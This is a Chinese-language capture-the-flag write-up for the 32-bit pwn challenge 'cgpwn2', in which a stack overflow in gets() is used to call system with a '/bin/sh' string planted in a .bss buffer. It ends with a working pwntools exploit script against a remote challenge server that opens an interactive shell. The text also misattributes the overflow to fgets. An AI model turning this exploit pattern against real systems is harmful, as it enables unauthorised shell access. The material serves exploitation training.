cgpwn2

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
xfgg@ubuntu:~/Downloads$ checksec cgpwn2
[*] '/home/xfgg/Downloads/cgpwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了nx保护

ida分析
char *hello()
{
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]

v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}

fgets(name, 50, stdin); 栈溢出漏洞

.bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o
.bss:0804A080 _bss ends
.bss:0804A080

name 在bss段可以写入/bin/sh

int pwn()
{
return system("echo hehehe");
}

有system但是没有/bin/sh 需要自己写入

00000026 s db ?
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
.................
00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

溢出字节位42字节

0x02 思路分析

1
2
3
在找关键字符串的时候没有发现 bin/sh 。所以我们需要将bin/sh写到我们可以访问的地址中去。我们可以在输入name的时候把 bin/sh写进去。name位于bss段,bss段保存全局变量,加载地址不会因为地址随机化的开启而有所变化。

将 system 的地址写到 hello 函数的返回地址中,同时将之前 bin/sh 的地址也写到栈中,作为system函数的参数

0x03 攻击

1
普通的栈溢出攻击 有system但是没有/bin/sh

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote('111.198.29.45',48164)
bin_sh_addr=0x0804A080
p.sendline("/bin/sh")
system_addr=0x08048420
payload='a'*0x26+'a'*4+p32(system_addr)+p32(system_addr)+p32(bin_sh_addr)

p.sendline(payload)

p.interactive()
0%